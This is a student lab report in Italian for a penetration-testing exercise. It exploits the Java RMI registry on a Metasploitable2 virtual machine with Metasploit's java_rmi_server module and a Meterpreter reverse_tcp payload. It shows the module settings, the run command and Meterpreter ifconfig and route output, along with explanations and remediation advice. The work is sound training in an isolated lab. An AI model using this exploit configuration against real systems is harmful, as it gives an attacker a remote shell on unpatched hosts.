

Metasploit

PABLO ANDRES BALBUENA RIOS

Progetto della Settimana 7

I requisiti dell'esercizio sono:

- La macchina attaccante (KALI) deve avere il seguente indirizzo IP: 192.168.11.111
- La macchina vittima (Metasploitable) deve avere il seguente indirizzo IP: 192.168.11.112
- Una volta ottenuta una sessione remota Meterpreter, lo studente deve raccogliere le seguenti evidenze sulla macchina remota:
 - 1) configurazione di rete.
 - 2) informazioni sulla tabella di routing della macchina vittima.

Report

Vulnerabilità trovata della macchina Mestaspitable2:

- SERVICE: java-rmi
- VERSION: GNU Classpath grmiregistry
- PORT: 1099

Livello criticità:

- 10

SOLUZIONE:

- Aggiornare a versioni più recenti di Java
- Limitare i privilegi concessi
- Configurare Filtri di Sicurezza

Java_RMI

- Java Remote Method Invocation (Java RMI) è un framework fornito da Java che consente a diversi processi Java di comunicare tra di loro attraverso una rete.
- La vulnerabilità associata a Java RMI è attribuibile a una configurazione di default erranea che consente a un individuo malintenzionato di iniettare codice arbitrario. Tale exploit permette all'attaccante di acquisire accesso amministrativo alla macchina di destinazione.

Vulnerabilità

- Le vulnerabilità sono debolezze o falle in un sistema informatico che possono essere sfruttate da attaccanti per compromettere l'integrità, la disponibilità o la riservatezza delle risorse del sistema.
- Metasploit è uno strumento ampiamente utilizzato per testare la sicurezza dei sistemi e può essere impiegato sia da professionisti della sicurezza per valutare la robustezza di un sistema sia da attaccanti malintenzionati per sfruttare le vulnerabilità.
- I malware sono software dannosi, cioè programmi creati con l'intenzione di danneggiare un sistema informatico. Gli autori del malware di solito vanno ad utilizzare l'Ingegneria Sociale "" e attraverso le vulnerabilità può iniziare con il ransomware delivery "criptare i file presenti sul computer target" e chiedere il riscatto in cambio della chiave per decifrare nuovamente i file.

Metasploit

- Metasploit è un framework open-source della sicurezza e uno strumento di penetrazione utilizzato per lo sviluppo di exploit.
- Metasploit funziona attraverso l'utilizzo di exploits, payload e l'ottenimento di una shell, ovvero ottenere la possibilità di eseguire comandi e interagire con la macchina target.
- Metasploit oltre ai moduli normali per effettuare uno exploit, fornisce anche moduli ausiliari, cioè informazioni e supporto aggiuntivi riguardo alla sicurezza della rete o del sistema.

Modulo normale

```
msf6 exploit(multi/misc/java_rmi_server) > show options
Module options (exploit/multi/misc/java_rmi_server):
```

Name	Current Setting	Required	Description
HTTPDELAY	10	yes	Time that the H
RHOSTS	192.168.11.112	yes	The target host
RPORT	1099	yes	The target port
SRVHOST	0.0.0.0	yes	The local host
SRVPORT	8080	yes	The local port
SSL	false	no	Negotiate SSL f
SSLCert		no	Path to a custo
URIPATH		no	The URI to use

```

Payload options (java/meterpreter/reverse_tcp):
```

Name	Current Setting	Required	Description
LHOST	192.168.11.111	yes	The listen address
LPORT	4444	yes	The listen port

```

Exploit target:
```

Id	Name
0	Generic (Java Payload)

```

View the full module info with the info, or info -d comm
msf6 exploit(multi/misc/java_rmi_server) > run
```

L'exploit e payload

- Exploit: è una parte del modulo progettato per sfruttare vulnerabilità specifiche nei software di destinazione.
- Payload: è una parte del modulo che contiene del codice malevolo che viene eseguito sulla macchina di destinazione dopo il successo di uno exploit. I payloads sono progettati per eseguire varie azioni, e uno dei casi d'uso comuni è l'ottenimento di una shell remota "una connessione interattiva tra due dispositivi".
- Il payload più potente è il Meterpreter. Si tratta di uno strumento che fornisce un'ampia gamma di funzionalità avanzate su una macchina di destinazione compromessa.

Modulo normale

```
msf6 exploit(multi/misc/java_rmi_server) > show options

Module options (exploit/multi/misc/java_rmi_server):

  Name      Current Setting  Required  Description
  ---      -
  HTTPDELAY  10               yes       Time that the H
  RHOSTS    192.168.11.112  yes       The target host
  RPORT     1099             yes       The target port
  SRVHOST   0.0.0.0          yes       The local host
  SRVPORT   8080             yes       The local port
  SSL       false            no        Negotiate SSL f
  SSLCert   Path to a custo
  URIPATH   The URI to use

Payload options (java/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  ---      -
  LHOST     192.168.11.111  yes       The listen address
  LPORT     4444            yes       The listen port

Exploit target:

  Id  Name
  --  --
  0    Generic (Java Payload)

View the full module info with the info, or info -d comm

msf6 exploit(multi/misc/java_rmi_server) > run
```

exploit

payload

vulnerabilità

↑
Avviare exploit

Meterpreter

Meterpreter offre due principali modalità di controllo avanzato sul sistema di destinazione attraverso una shell:

- `bind_tcp`: la connessione inizia dalla macchina dell'attaccante alla macchina target.
- `reverse_tcp`: la connessione inizia dalla macchina target alla macchina dell'attaccante.

Meterpreter offre diversi comandi per visualizzare informazioni sul sistema di destinazione, tra cui:

- `ifconfig`: Questo comando mostra le informazioni sulle interfacce di rete, inclusi indirizzi IP, subnet, gateway e altri dettagli.
- `route`: Questo comando visualizza la tabella di routing del sistema, inclusi gli indirizzi di rete e i gateway associati.

```
meterpreter > ifconfig

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe45:eae4
IPv6 Netmask : ::
```

```
meterpreter > route

IPv4 network routes
=====
```

Subnet	Netmask	Gateway
127.0.0.1	255.0.0.0	0.0.0.0
192.168.11.112	255.255.255.0	0.0.0.0